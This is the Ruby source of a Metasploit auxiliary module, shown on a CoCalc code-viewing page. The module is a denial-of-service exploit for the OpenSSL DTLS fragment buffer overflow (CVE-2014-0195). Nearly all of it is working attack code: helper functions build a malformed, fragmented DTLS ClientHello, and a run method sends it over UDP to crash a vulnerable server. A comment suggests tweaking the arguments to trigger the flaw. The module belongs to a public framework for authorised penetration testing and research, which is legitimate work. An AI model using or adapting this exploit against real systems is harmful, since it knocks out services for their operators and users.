CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Dos
8
include Exploit::Remote::Udp
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
13
'Description' => %q{
14
This module performs a Denial of Service Attack against Datagram TLS in
15
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
16
This occurs when a DTLS ClientHello message has multiple fragments and the
17
fragment lengths of later fragments are larger than that of the first, a
18
buffer overflow occurs, causing a DoS.
19
},
20
'Author' =>
21
[
22
'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
23
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
24
],
25
'License' => MSF_LICENSE,
26
'References' =>
27
[
28
['CVE', '2014-0195'],
29
['ZDI', '14-173'],
30
['BID', '67900'],
31
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],
32
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']
33
],
34
'DisclosureDate' => '2014-06-05'))
35
36
register_options([
37
Opt::RPORT(4433),
38
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
39
])
40
41
end
42
43
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
44
# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
45
# fragment offset (3 bytes), fragment length (3 bytes), fragment body
46
sol = (seq << 48) | (frag_offset << 24) | frag_length
47
[
48
(type << 24) | length,
49
(sol >> 32),
50
(sol & 0x00000000FFFFFFFF)
51
].pack("NNN") + frag_body
52
end
53
54
def build_tls_message(type, version, epoch, sequence, message)
55
# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
56
# sequence # (6 bytes) + message length (2 bytes), message body
57
es = (epoch << 48) | sequence
58
[
59
type,
60
version,
61
(es >> 32),
62
(es & 0x00000000FFFFFFFF),
63
message.length
64
].pack("CnNNn") + message
65
end
66
67
def run
68
# add a small fragment
69
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
70
# add a large fragment where the length is significantly larger than that of the first
71
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
72
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
73
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
74
connect_udp
75
print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
76
udp_sock.put(message)
77
disconnect_udp
78
end
79
end
80
81